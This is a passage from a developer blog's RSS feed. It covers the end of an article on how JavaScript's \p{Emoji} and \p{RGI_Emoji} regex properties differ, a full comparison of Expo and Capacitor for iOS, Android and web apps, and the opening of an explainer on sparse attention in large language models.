&lt;td&gt;Does this code point default to emoji presentation?&lt;/td&gt;
&lt;td&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\p{RGI_Emoji}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Is this complete string an RGI emoji?&lt;/td&gt;
&lt;td&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;No row is contradicting another. We changed the question each time.&lt;/p&gt;
&lt;h2&gt;The wrong question leaves strange debris&lt;/h2&gt;
&lt;p&gt;This distinction matters as soon as the program does something with the match.&lt;/p&gt;
&lt;p&gt;Suppose we try to remove emoji from text:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;Studio 7&quot;.replace(/\p{Emoji}/gu, &quot;&quot;);
// &quot;Studio &quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The regex quietly deletes an ordinary digit. With a real keycap sequence, the result is stranger:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const remainder = &quot;7️⃣&quot;.replace(/\p{Emoji}/gu, &quot;&quot;);

[...remainder].map(character =&amp;gt;
  `U+${character.codePointAt(0).toString(16).toUpperCase()}`
);

// [&quot;U+FE0F&quot;, &quot;U+20E3&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The remover deleted &lt;code&gt;7&lt;/code&gt; because that code point has &lt;code&gt;Emoji=Yes&lt;/code&gt;. It left the invisible presentation selector and the combining keycap mark because they do not. Depending on the font, the residue may be invisible, appear as a broken mark or attach itself somewhere unexpected.&lt;/p&gt;
&lt;p&gt;The family from the previous article fails in the same way. Removing every &lt;code&gt;Emoji&lt;/code&gt; code point deletes the people but leaves three Zero Width Joiners in the string. The output can look empty while still containing data.&lt;/p&gt;
&lt;p&gt;For an emoji-only field, there is another independent trap. A bare &lt;code&gt;.test()&lt;/code&gt; asks whether the input &lt;em&gt;contains&lt;/em&gt; a match:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/\p{RGI_Emoji}/v.test(&quot;invoice 7️⃣ ready&quot;); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the product rule is that the entire value must consist of RGI emoji, the regex needs whole-string semantics too:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const emojiOnly = /^(?:\p{RGI_Emoji})+$/v;

emojiOnly.test(&quot;7&quot;);   // false
emojiOnly.test(&quot;7️⃣&quot;);  // true
emojiOnly.test(&quot;7️⃣❤️&quot;); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is a better implementation for that specific requirement. It is not a universal definition of everything a platform might display as an emoji. The RGI set is versioned, vendors still control the final glyph, and Unicode does not currently give &lt;code&gt;RGI_Emoji&lt;/code&gt; a stability guarantee across future releases.&lt;/p&gt;
&lt;h2&gt;“Is this an emoji?” is still missing a requirement&lt;/h2&gt;
&lt;p&gt;JavaScript never decided that the glyph &lt;code&gt;7&lt;/code&gt; looks like an emoji. It found a property attached to U+0037 because that code point participates in keycap emoji sequences.&lt;/p&gt;
&lt;p&gt;The renderer sees a sequence and tries to draw a picture. The regex sees code points and registered strings. Those are different layers, with different definitions of success.&lt;/p&gt;
&lt;p&gt;So “detect emoji” is not yet a complete task. Do we want code points that can participate in emoji, default emoji presentation, complete RGI sequences, or a field made exclusively from them?&lt;/p&gt;
&lt;p&gt;Until that decision is explicit, &lt;code&gt;true&lt;/code&gt; can be perfectly correct and still produce the wrong program.&lt;/p&gt;
</content:encoded></item><item><title>Expo vs Capacitor: Performance, SEO, and Native UX (2026)</title><link>https://didof.dev/blog/expo-vs-capacitor/</link><guid isPermaLink="true">https://didof.dev/blog/expo-vs-capacitor/</guid><description>Expo vs Capacitor compared across 7 factors: mobile performance, web SEO, native APIs, code sharing, Solito, releases and migration cost for your app.</description><pubDate>Wed, 22 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Starting a new, mobile-first product? Pick Expo.&lt;/strong&gt; Its native-backed renderer gives interaction-heavy mobile interfaces more room to grow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Building web-first or preserving an existing web interface? Pick Capacitor.&lt;/strong&gt; It keeps the browser at the center without cutting off native plugins or custom platform code.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Share product logic aggressively. Share interface code only when the interaction is genuinely the same.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You can ship to iOS, Android, and the web with either Expo or Capacitor, so they often appear on the same shortlist. Their interface models are quite different. Expo takes a React Native application to the browser. Capacitor puts a web application inside a native shell. The renderer you start with affects performance, search engine optimization (SEO), navigation, native APIs, and how much interface code is actually worth sharing.&lt;/p&gt;
&lt;p&gt;This comparison uses official documentation checked on July 23, 2026. I deliberately left out synthetic benchmarks. Two empty starter apps tell you almost nothing about a product with real screens, data, images, and third-party dependencies. The performance discussion is about architectural headroom. Your release build on your lowest supported device is the test that counts.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Expo vs Capacitor at a glance&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;This is a renderer decision before it is a tooling decision.&lt;/strong&gt; Expo SDK 57, released on June 30, 2026, pairs React Native 0.86 with React Native Web 0.21 and supports Android 7+ and iOS 16.4+ (&lt;a href=&quot;https://expo.dev/changelog/sdk-57&quot;&gt;Expo SDK 57 changelog&lt;/a&gt;, &lt;a href=&quot;https://docs.expo.dev/versions/latest/&quot;&gt;Expo SDK reference&lt;/a&gt;, 2026). Capacitor 8 starts with a web project, then adds native platforms and plugin access (&lt;a href=&quot;https://capacitorjs.com/docs&quot;&gt;Capacitor documentation&lt;/a&gt;, 2026). Moving from one to the other means changing the interface model, not swapping a build tool.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Area&lt;/th&gt;
&lt;th&gt;Expo&lt;/th&gt;
&lt;th&gt;Capacitor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Starting point&lt;/td&gt;
&lt;td&gt;React Native application&lt;/td&gt;
&lt;td&gt;Web application&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mobile renderer&lt;/td&gt;
&lt;td&gt;Native-backed React Native views&lt;/td&gt;
&lt;td&gt;HTML and CSS in a WebView&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web renderer&lt;/td&gt;
&lt;td&gt;React Native Web&lt;/td&gt;
&lt;td&gt;Your existing web framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Framework choice&lt;/td&gt;
&lt;td&gt;React&lt;/td&gt;
&lt;td&gt;React, Svelte, Vue, Angular, or plain JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mobile performance ceiling&lt;/td&gt;
&lt;td&gt;Higher for interaction-heavy UI&lt;/td&gt;
&lt;td&gt;Often sufficient for web-shaped workflows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web platform access&lt;/td&gt;
&lt;td&gt;Through React Native Web and web-only code&lt;/td&gt;
&lt;td&gt;Direct HTML, CSS, and browser APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Native APIs&lt;/td&gt;
&lt;td&gt;Expo modules or custom Swift and Kotlin modules&lt;/td&gt;
&lt;td&gt;Plugins or custom Swift, Objective-C, Java, and Kotlin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Best fit&lt;/td&gt;
&lt;td&gt;Mobile-first product&lt;/td&gt;
&lt;td&gt;Existing or web-first product&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEO&lt;/td&gt;
&lt;td&gt;Static rendering is stable, server rendering is alpha&lt;/td&gt;
&lt;td&gt;Determined by the deployed web framework&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Native workflow&lt;/td&gt;
&lt;td&gt;Expo CLI and optional EAS services&lt;/td&gt;
&lt;td&gt;Xcode, Android Studio, and Capacitor CLI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Before comparing build services or plugin catalogs, decide whether the main mobile interface should be a React Native view tree or a web document.&lt;/p&gt;
&lt;h2&gt;How do Expo and Capacitor render on mobile?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Expo renders native-backed views. Capacitor renders a web document inside a native shell.&lt;/strong&gt; React Native&apos;s &lt;code&gt;View&lt;/code&gt; maps directly to the native view equivalent on each platform, such as &lt;code&gt;UIView&lt;/code&gt; on iOS and &lt;code&gt;android.view&lt;/code&gt; on Android (&lt;a href=&quot;https://reactnative.dev/docs/view.html&quot;&gt;React Native View&lt;/a&gt;, 2026). Capacitor uses &lt;code&gt;WKWebView&lt;/code&gt; on iOS and a compatible WebView on Android. Both run JavaScript, but only one keeps the interface inside a browser renderer.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Expo application
    React components
        iOS and Android: React Native views
        Web: React Native Web and browser elements
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expo SDK 55 made React Native&apos;s New Architecture mandatory, so current Expo releases use Fabric and the modern module system. You still have to virtualize long lists, keep state updates contained, load images sensibly, and choose the right animation path. A native-backed renderer can still produce a slow app.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Capacitor application
    Web application
        Website: normal browser deployment
        iOS: WKWebView in a native shell
        Android: Android WebView in a native shell
        Device features: Capacitor plugins
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Capacitor is a strong fit for web-first products, including greenfield ones. The browser stays in charge of the interface, while plugins and custom native code give you access to the platform when you need it. If the product already exists in Next.js, SvelteKit, Vue, or Angular, adoption is usually easier because you can keep the interface you have.&lt;/p&gt;
&lt;h2&gt;Which has better mobile performance?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;For a new, interaction-heavy mobile product, Expo is the better starting point.&lt;/strong&gt; React Native targets 60 frames per second, which leaves about 16.67 milliseconds for each frame (&lt;a href=&quot;https://reactnative.dev/docs/performance.html&quot;&gt;React Native performance guide&lt;/a&gt;, 2026). Expo has more room for interfaces built around gestures, animation, and native navigation. Capacitor can meet the product&apos;s needs when the same interface already works well as a mobile website.&lt;/p&gt;
&lt;p&gt;Expo becomes the safer choice when the product depends on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;large interactive lists&lt;/li&gt;
&lt;li&gt;continuous gestures or platform-specific transitions&lt;/li&gt;
&lt;li&gt;camera and map workflows&lt;/li&gt;
&lt;li&gt;audio or video interfaces&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;ScrollView&lt;/code&gt; scrolling and native-stack transitions can continue on the native UI thread while the JavaScript thread is busy. That does not make every Expo screen fast, but it keeps some important work away from a blocked JavaScript thread.&lt;/p&gt;
&lt;p&gt;Capacitor is usually fine for forms, account areas, ecommerce, bookings, articles, reports, and internal tools. Modern WebViews are capable runtimes. The uncomfortable cases combine heavy layout work, high-frequency touch input, animation, and repeated calls across the plugin boundary on the same screen.&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- [UNIQUE INSIGHT] --&amp;gt;&lt;/p&gt;
&lt;p&gt;I find performance headroom more useful than asking which framework is &quot;faster.&quot; &lt;em&gt;A disciplined Capacitor app can beat a careless Expo app.&lt;/em&gt; Build one representative workflow in release mode and run it on the weakest device you support. Development builds and starter-app bundle sizes are noise for this decision.&lt;/p&gt;
&lt;h2&gt;Which is better for web SEO and accessibility?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;If organic search drives acquisition, choose the web stack first.&lt;/strong&gt; Expo Router emits indexable HTML through static rendering. Request-time server rendering has been available since SDK 55, but Expo still marks it as alpha (&lt;a href=&quot;https://docs.expo.dev/router/web/static-rendering/&quot;&gt;Expo static rendering&lt;/a&gt;, &lt;a href=&quot;https://docs.expo.dev/router/web/server-rendering/&quot;&gt;Expo server rendering&lt;/a&gt;, 2026). Capacitor has no opinion about SEO. The web framework you deploy controls the HTML, metadata, canonical URLs, sitemaps, and page performance.&lt;/p&gt;
&lt;p&gt;Expo Web makes sense for dashboards, account areas, companion apps, and products whose browser screens resemble the mobile app. Static routes can include metadata and real HTML. For thousands of dynamic indexable pages, mixed rendering strategies, or a site that depends on a mature server component ecosystem, a web-first framework is safer. Expo&apos;s server mode cannot currently mix static and server rendering in one project.&lt;/p&gt;
&lt;p&gt;React Native Web supports ARIA props, keyboard focus, links, and semantic roles that map to elements such as &lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;, and headings (&lt;a href=&quot;https://necolas.github.io/react-native-web/docs/accessibility/&quot;&gt;React Native Web accessibility&lt;/a&gt;, 2025). Its style system still has no direct support for selectors, pseudo-elements, or CSS at-rules (&lt;a href=&quot;https://necolas.github.io/react-native-web/docs/styling/&quot;&gt;React Native Web styling&lt;/a&gt;, 2024). Web-only code remains part of serious browser work.&lt;/p&gt;
&lt;p&gt;A dedicated web framework gives you direct access to the document. Next.js, for example, has conventions for metadata, Open Graph images, &lt;code&gt;robots.txt&lt;/code&gt;, and sitemaps (&lt;a href=&quot;https://nextjs.org/docs/app/getting-started/metadata-and-og-images&quot;&gt;Next.js metadata&lt;/a&gt;, 2026). Other server-first frameworks cover the same ground in their own way. On this site, I use &lt;a href=&quot;/blog/json-ld-structured-data&quot;&gt;JSON-LD structured data&lt;/a&gt; because it is easier to express SEO requirements when the web stack owns the document.&lt;/p&gt;
&lt;p&gt;Rendering is only one part of web performance. The deployed site still needs sensible &lt;a href=&quot;/blog/cache-control-max-age-stale-while-revalidate&quot;&gt;HTTP caching rules&lt;/a&gt;, optimized assets, and field measurements. Capacitor does not make those decisions for the public website.&lt;/p&gt;
&lt;p&gt;Expo Web can rank, and a site later wrapped with Capacitor can rank. If organic search drives the product, choose the web framework first and make the mobile shell a separate decision.&lt;/p&gt;
&lt;h2&gt;How much code should you share?&lt;/h2&gt;
&lt;p&gt;Solito describes itself as a small wrapper around React Navigation and Next.js, plus a set of cross-platform patterns (&lt;a href=&quot;https://solito.dev/&quot;&gt;Solito documentation&lt;/a&gt;, 2025). It can unify links and navigation semantics. It cannot make one screen naturally fit desktop layouts, touch input, native stacks, and browser documents.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;One repository can share a great deal of code. It does not give you one identical interface for free.&lt;/strong&gt; Most codebases settle into one of three shapes.&lt;/p&gt;
&lt;h3&gt;One Expo Router application&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apps/expo
    iOS
    Android
    Web
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This keeps the most screen code inside React Native. It works when the web product is genuinely the browser edition of the mobile app. Editorial layouts, dense desktop screens, and browser-specific interactions are where the abstraction starts to cost you.&lt;/p&gt;
&lt;h3&gt;One web application wrapped by Capacitor&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apps/web
    Public website
    iOS through Capacitor
    Android through Capacitor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This reuses the existing interface almost unchanged. It is a sensible first prototype when a responsive web product already exists and mobile is a new distribution channel. Every shared screen remains a web interface until you replace it with native UI.&lt;/p&gt;
&lt;h3&gt;Expo mobile plus a dedicated web application&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apps/
    native/      Expo
    web/         Next.js or SvelteKit

packages/
    api/
    auth/
    types/
    validation/
    state/
    analytics/
    design-tokens/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This requires more presentation code, but it gives each product room to behave like its platform. Share API clients, authentication rules, validation, types, state machines, analytics events, localization, and design tokens. Share a screen only when its interaction model is genuinely the same. A &lt;a href=&quot;/blog/pnpm-workspace-monorepo-setup&quot;&gt;pnpm workspace&lt;/a&gt; keeps the two frontends manageable without pretending they are identical.&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- [UNIQUE INSIGHT] --&amp;gt;&lt;/p&gt;
&lt;p&gt;The percentage reported by a code scanner is a poor reuse target. Product logic is worth sharing. &lt;em&gt;Forcing 100% UI reuse can make every platform-specific improvement harder.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Solito fits the third architecture, where Next.js owns the web and Expo or React Native owns mobile. Expo&apos;s documentation still says Next.js is not an official part of its universal workflow (&lt;a href=&quot;https://docs.expo.dev/guides/using-nextjs/&quot;&gt;Expo with Next.js&lt;/a&gt;, 2026). I would add Solito only when shared navigation and a few shared screens justify another integration layer.&lt;/p&gt;
&lt;h2&gt;Which handles native APIs, builds, and updates better?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Both can call native APIs. Expo standardizes more of the surrounding workflow.&lt;/strong&gt; Expo&apos;s Modules API can add Swift and Kotlin modules and views with New Architecture support (&lt;a href=&quot;https://docs.expo.dev/modules/overview/&quot;&gt;Expo Modules API&lt;/a&gt;, 2026). Capacitor reaches device features through official, community, Cordova-compatible, or custom plugins (&lt;a href=&quot;https://capacitorjs.com/docs/basics/using-plugins&quot;&gt;Capacitor plugins&lt;/a&gt;, 2026).&lt;/p&gt;
&lt;p&gt;Expo has a large module catalog and can generate native projects from configuration until you need more control. Expo Application Services (EAS) Build can compile and sign iOS and Android binaries in hosted environments (&lt;a href=&quot;https://docs.expo.dev/build&quot;&gt;EAS Build&lt;/a&gt;, 2026). You can still keep the native directories, build locally, and write platform code.&lt;/p&gt;
&lt;p&gt;Capacitor treats the Xcode and Android Studio projects as standard project artifacts. Teams familiar with Gradle, signing, CocoaPods, Swift Package Manager, and native development tools get direct control. They also have more setup to own.&lt;/p&gt;
&lt;p&gt;EAS Update distributes compatible JavaScript and asset changes. A native change requires a new build and runtime version (&lt;a href=&quot;https://docs.expo.dev/eas-update/runtime-versions/&quot;&gt;Expo runtime versions&lt;/a&gt;, 2026). Capacitor teams have several live-update options. Ionic says current Appflow users will retain access through December 31, 2027, and eligible enterprise customers may receive continued-use and self-service support options (&lt;a href=&quot;https://ionic.io/blog/important-announcement-the-future-of-ionics-commercial-products&quot;&gt;Ionic announcement&lt;/a&gt;, 2025). I would not make Appflow a permanent dependency in a new long-term project.&lt;/p&gt;
&lt;p&gt;Expo gives you the more integrated build and update path. Capacitor gives you direct ownership of conventional native projects. With Expo, you work inside more platform conventions. With Capacitor, your team owns more native setup.&lt;/p&gt;
&lt;h2&gt;Migration, platform support, and App Store risk&lt;/h2&gt;
&lt;p&gt;Capacitor 8 supports iOS 15+ and Android API 24+, which is Android 7 or later (&lt;a href=&quot;https://capacitorjs.com/docs/ios&quot;&gt;Capacitor iOS&lt;/a&gt;, &lt;a href=&quot;https://capacitorjs.com/docs/android&quot;&gt;Capacitor Android&lt;/a&gt;, 2026). Expo SDK 57 supports Android 7+ and iOS 16.4+. Capacitor therefore supports one older major version of iOS.&lt;/p&gt;
&lt;p&gt;For an established React, Svelte, Vue, or Angular product, Capacitor usually requires less rewriting. Add the native platforms, adapt the mobile layout so it feels like an app, and then integrate device features. Responsive CSS is only the first step. Back-button behavior, keyboard handling, safe areas, offline states, deep links, authentication redirects, and permission prompts still need deliberate design and implementation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Apple reviews the product, not the framework.&lt;/strong&gt; App Review Guideline 4.2 requires features, content, and interface work that go beyond a repackaged website (&lt;a href=&quot;https://developer.apple.com/app-store/review/guidelines/&quot;&gt;Apple App Review Guidelines&lt;/a&gt;, 2026). Offline access, push notifications, native sharing, biometrics, camera flows, and device-specific workflows can all add app-specific value. None of them guarantees approval on its own.&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- [UNIQUE INSIGHT] --&amp;gt;&lt;/p&gt;
&lt;p&gt;An empty Expo app can fail the same minimum-functionality rule. Capacitor simply makes it tempting to ship the existing website before the mobile product work is finished.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For a new, mobile-first product, I would usually pick Expo.&lt;/strong&gt; Its native-backed renderer leaves more room for gestures, native navigation, and deep device integration. Capacitor is strongest when the product is web-first, especially when the web application already exists and keeping that interface matters more than pushing the mobile experience toward native UI.&lt;/p&gt;
&lt;h2&gt;Which should you choose in 2026?&lt;/h2&gt;
&lt;p&gt;The support floors differ by one iOS major version. Expo SDK 57 starts at iOS 16.4 (&lt;a href=&quot;https://docs.expo.dev/faq/&quot;&gt;Expo FAQ&lt;/a&gt;, 2026), while Capacitor 8 starts at iOS 15 (&lt;a href=&quot;https://capacitorjs.com/docs/updating/8-0&quot;&gt;Capacitor 8 upgrade guide&lt;/a&gt;, 2026). Both support Android 7+. Unless iOS 15 is important to your audience, the renderer and the codebase you already have should carry more weight.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Product situation&lt;/th&gt;
&lt;th&gt;Recommended architecture&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mobile-first consumer app&lt;/td&gt;
&lt;td&gt;Expo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App with intensive gestures, camera use, maps, audio, or native navigation&lt;/td&gt;
&lt;td&gt;Expo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Existing Svelte, Vue, Angular, or React web product&lt;/td&gt;
&lt;td&gt;Capacitor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Form-heavy internal or business workflow&lt;/td&gt;
&lt;td&gt;Capacitor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEO-led marketplace with a premium mobile app&lt;/td&gt;
&lt;td&gt;Expo mobile plus a dedicated web app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Content site with a companion mobile app&lt;/td&gt;
&lt;td&gt;Dedicated web app plus Expo mobile&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;One React codebase for an app-like website&lt;/td&gt;
&lt;td&gt;Expo Router&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Expo mobile and Next.js web with meaningful shared screens&lt;/td&gt;
&lt;td&gt;Solito, selectively&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Use the table as a starting point, then prototype the riskiest screen. A camera preview, animated map, long interactive list, or complicated authentication redirect will tell you more than another hour spent comparing feature matrices.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Decision rule:&lt;/strong&gt; prototype the screen that is hardest to fake. If that screen needs serious gestures, native navigation, or deep device integration, start with Expo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Frequently asked questions&lt;/h2&gt;
&lt;h3&gt;Is Expo faster than Capacitor?&lt;/h3&gt;
&lt;p&gt;Expo usually has more performance headroom because React Native renders native-backed views and targets 60 FPS interaction. Capacitor can still be fast for forms, content, ecommerce, and standard business workflows. Compare representative release builds on the lowest-end devices you support.&lt;/p&gt;
&lt;h3&gt;Is Capacitor bad for native apps?&lt;/h3&gt;
&lt;p&gt;No. Capacitor 8 supports iOS 15+ and Android 7+, exposes native APIs through plugins, and uses standard native projects. It becomes a poor fit when complex mobile interactions are central to the product but the entire interface must remain inside the WebView.&lt;/p&gt;
&lt;h3&gt;Is Expo Web bad for SEO?&lt;/h3&gt;
&lt;p&gt;No. Expo Router can generate static HTML and metadata. Request-time server rendering arrived in SDK 55 and remains alpha. For large editorial, ecommerce, documentation, or marketplace sites, a mature web-first framework is still the lower-risk SEO choice.&lt;/p&gt;
&lt;h3&gt;Does Solito improve performance?&lt;/h3&gt;
&lt;p&gt;No. Solito standardizes navigation between React Navigation and Next.js. It does not change either renderer or optimize the application by itself. Use it when shared navigation and screens justify another integration layer.&lt;/p&gt;
&lt;h3&gt;Can I use Capacitor with SvelteKit?&lt;/h3&gt;
&lt;p&gt;Yes. Capacitor is framework-independent. A SvelteKit project can keep its public server-rendered site while producing the client assets required by the native shell. Plan authentication, deep links, offline behavior, and native navigation before assuming the web build is app-ready.&lt;/p&gt;
&lt;p&gt;If I had to make the choice today, I would prototype the screen that is hardest to fake. A gesture-heavy mobile screen points toward Expo. An existing web workflow that already works points toward Capacitor. When both products matter equally, keep separate presentation layers and share the product logic underneath. A code-reuse percentage is not a user-facing feature.&lt;/p&gt;
</content:encoded></item><item><title>Sparse Attention Guide: What Should an LLM Ignore?</title><link>https://didof.dev/blog/sparse-attention-in-llms/</link><guid isPermaLink="true">https://didof.dev/blog/sparse-attention-in-llms/</guid><description>Sparse attention cuts full attention&apos;s n^2 graph, but every missing edge changes what an LLM can remember, route, cache, and safely ignore in long contexts.</description><pubDate>Sat, 04 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Mermaid from &quot;@/components/mermaid.astro&quot;;&lt;/p&gt;
&lt;p&gt;Long-context LLMs are trying to do more than remember extra text. They are trying to decide which parts of the text are still worth looking at.&lt;/p&gt;
&lt;p&gt;That distinction matters. A model can accept 100,000 tokens, store them in memory, and still face the harder question at every layer: which previous tokens should influence the next computation? Full attention gives the cleanest answer. Every token can look at every previous token. It is powerful, simple, and expensive.&lt;/p&gt;
&lt;p&gt;Sparse attention starts with a refusal. Maybe every token does not need to talk to every other token.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sparse attention&lt;/strong&gt; is a family of attention patterns where each token attends to selected tokens instead of every visible previous token.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full attention gives maximum visibility, but causal attention exposes roughly &lt;code&gt;n x n&lt;/code&gt; possible token pairs as context grows.&lt;/li&gt;
&lt;li&gt;Sparse attention is graph design. Local, global, random, LSH, landmark, routing, and block-sparse methods keep different edges.&lt;/li&gt;
&lt;li&gt;Sliding windows can bound KV cache memory, but they do it by making distant tokens invisible unless another mechanism preserves them.&lt;/li&gt;
&lt;li&gt;FlashAttention is not sparse attention. It keeps the same connections and changes how the computation moves through GPU memory.&lt;/li&gt;
&lt;li&gt;Attention sinks show that attention is also geometry and stabilization, not semantic relevance alone.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./cover.png&quot; alt=&quot;Abstract sparse attention graph with local bands, hub nodes, and long-range shortcuts&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Why is full attention expensive?&lt;/h2&gt;
&lt;p&gt;The original Transformer uses scaled dot-product attention, where each query compares with keys and then mixes values (&lt;a href=&quot;https://arxiv.org/abs/1706.03762&quot;&gt;Attention Is All You Need&lt;/a&gt;, 2017). In a causal language model, token &lt;code&gt;i&lt;/code&gt; can attend to tokens &lt;code&gt;1...i&lt;/code&gt;, so the visible token pairs grow roughly like &lt;code&gt;n x n&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The mechanism is small enough to write on a napkin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Q = Query: what am I looking for?
K = Key: what information do I offer?
V = Value: what content do I carry?

scores = Q x K^T
weights = softmax(scores)
output = weights x V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For one token, this is intuitive. The current token asks a question with &lt;code&gt;Q&lt;/code&gt;, previous tokens advertise themselves with &lt;code&gt;K&lt;/code&gt;, and the model blends their &lt;code&gt;V&lt;/code&gt; vectors according to the softmax weights.&lt;/p&gt;
&lt;p&gt;For a long sequence, the cost is the problem. If the context length doubles, the number of possible attention comparisons grows about four times. That is the shape of quadratic cost.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1,000 tokens  -&amp;gt; about 1,000,000 token pairs
2,000 tokens  -&amp;gt; about 4,000,000 token pairs
4,000 tokens  -&amp;gt; about 16,000,000 token pairs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is why &quot;just make the context longer&quot; is not a complete answer. Longer context gives the model more possible evidence, but it also creates a bigger visibility problem. At each layer, the model must decide where information should flow.&lt;/p&gt;
&lt;p&gt;For related context on why model efficiency changes practical deployment, see the BitNet piece on &lt;a href=&quot;/blog/bitnet-b158-1-bit-llm&quot;&gt;1-bit LLMs and additive inference&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How does sparse attention change the graph?&lt;/h2&gt;
&lt;p&gt;Sparse attention removes attention edges from the full graph. &lt;a href=&quot;https://arxiv.org/abs/2007.14062&quot;&gt;BigBird&lt;/a&gt; combines local, random, and global attention and reports a sparse mechanism that reduces the quadratic dependency to linear in its design. The important shift goes beyond asymptotic cost. It is the graph the model is allowed to build.&lt;/p&gt;
&lt;p&gt;Think of tokens as nodes and attention connections as edges.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;full attention:
every token -&amp;gt; every visible previous token

sparse attention:
every token -&amp;gt; selected previous tokens
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That makes sparse attention less like a single optimization and more like a family of graph designs. Every variant answers the same question differently: who should talk to whom?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Personal note:&lt;/strong&gt; I noticed while turning my own sparse-attention study notes into this article that the graph framing does most of the teaching. Once the reader sees tokens as nodes and attention as edges, the named variants stop feeling like jargon.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart LR
